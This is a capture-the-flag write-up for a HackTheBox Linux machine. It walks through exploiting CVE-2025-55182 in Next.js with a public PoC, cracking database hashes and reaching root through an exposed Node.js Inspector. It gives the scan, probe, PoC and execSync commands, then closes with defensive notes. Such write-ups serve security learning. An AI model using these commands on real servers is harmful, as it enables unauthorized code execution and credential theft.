linrcenmapprivescCVE-2025-55182
↓ view full writeup .txt

Writeup — Reactor (HackTheBox)

OS: Linux (Ubuntu 24.04)
Difficulty: Easy
Date: 29 May 2026


Summary

The machine exposes a Next.js 15.0.3 webapp vulnerable to CVE-2025-55182 (React2Shell), an unauthenticated RCE in the React Server Components protocol. Having obtained RCE as the node user, I dumped a local SQLite database, cracked an MD5 hash for the engineer password, and got in over SSH. The privilege escalation to root happens by abusing the Node.js Inspector (port 9229) that runs as root on /opt/uptime-monitor/worker.js.

Chain: Next.js RCE → SQLite dump → MD5 crack → SSH user → Node Inspector abuse → root.


Phase 1 — Reconnaissance

Initial port scan:

nmap -p- --min-rate=5000 10.129.9.91
nmap -sV -p 22,3000 10.129.9.91

Result: port 22 (SSH, OpenSSH 9.6p1) and port 3000. Nmap doesn't recognise the service on 3000, but the response headers identify it as Next.js:

X-Powered-By: Next.js

The webapp is a monitoring dashboard called ReactorWatch. Completely static: system metrics, three staff profiles, zero forms or interactivity.


Phase 2 — Web enumeration

I tried directory brute-forcing with dirb, which only finds /api/cgi-bin/ with a 308. Following the redirect leads nowhere concrete: the 308 is Next.js's standard behaviour for a trailing slash, it doesn't indicate a real route.

I checked the app's build manifest:

curl -s http://10.129.9.91:3000/_next/static/[build-id]/_buildManifest.js

It confirms only two static routes: home and the error page. There is nothing to fuzz.

I also attempted SSH brute force with usernames based on the staff profiles visible in the dashboard, with no results.


Phase 3 — Identifying the vector

Testing Next.js's internal endpoints, the /_next/image endpoint answers 400 instead of 404, confirming that it exists. More importantly: version 15.0.3 is vulnerable to CVE-2025-55182 (React2Shell). I verify it by sending a request with the RSC headers typical of the React Server Components protocol:

curl -s -H "RSC: 1" -H "Next-Action: anything" -H "Content-Type: text/plain" \
--data-binary '...' \
http://10.129.9.91:3000/ -w "%{http_code}"

Response 200. The server accepts RSC requests and is vulnerable.


Phase 4 — RCE via React2Shell

I clone the public PoC and run it:

git clone https://github.com/jensnesten/React2Shell-PoC.git
cd React2Shell-PoC
python3 main.py http://10.129.9.91:3000 'id'

Output:

uid=999(node) gid=988(node) groups=988(node)

RCE confirmed as the node user. The PoC exploits the insecure deserialisation of Next.js's RSC "flight" protocol: it sends a malicious JSON payload over POST, the server deserialises it and executes the embedded command.

Technical note: commands producing long or binary output get corrupted by the RSC parser. Solution: redirect to a temporary file and cat it separately.

python3 main.py http://10.129.9.91:3000 'ls /opt/reactor-app > /tmp/o && cat /tmp/o'

In the app root I find a file reactor.db.


Phase 5 — Database dump and hash cracking

python3 main.py http://10.129.9.91:3000 'strings /opt/reactor-app/reactor.db > /tmp/o && cat /tmp/o'

The database contains a users table with two records. I extract two MD5 hashes. The first cracks on CrackStation, the second doesn't (probably salted).

Credentials obtained: engineer / [password]


Phase 6 — User flag

ssh engineer@10.129.9.91

Access successful. The user.txt file is in the home directory.


Phase 7 — Privilege escalation

Initial enumeration: sudo -l denies everything, no suspicious SUID. I look at the running processes:

ps aux | grep node

I find two Node.js processes. One runs as root with the flag --inspect=127.0.0.1:9229. This enables the Node.js debugger on port 9229, which accepts WebSocket connections and allows arbitrary JavaScript code to be executed in the process context, in this case root.

I retrieve the debugger's session ID:

node -e "const http=require('http'); /* GET /json on 127.0.0.1:9229 */ ..."

I get the webSocketDebuggerUrl with the session UUID. The ws module isn't available, so I build the WebSocket handshake manually over TCP with Python, then send a Chrome DevTools Protocol message:

Runtime.evaluate with expression: process.mainModule.require("child_process").execSync("cat /root/root.txt").toString()

Note: a direct require() doesn't work in the debugger's bare V8 context, you have to use process.mainModule.require().

The debugger runs the command as root and returns the file contents in the JSON response.


Full chain

unauthenticated RCE on Next.js 15.0.3 (CVE-2025-55182)
→ access as node (uid 999)
→ SQLite dump + MD5 crack
→ SSH as engineer
→ Node.js Inspector exposed on a root process
→ arbitrary execution via Chrome DevTools Protocol
→ root


Defensive notes

Update Next.js to version 15.0.5 or above (the fix for CVE-2025-55182). Don't use --inspect on production processes, and never on processes with elevated privileges. Replace MD5 with bcrypt or Argon2 for password hashes. Monitoring services don't need to run as root: principle of least privilege.

Proof of pwn
Proof of pwn

← back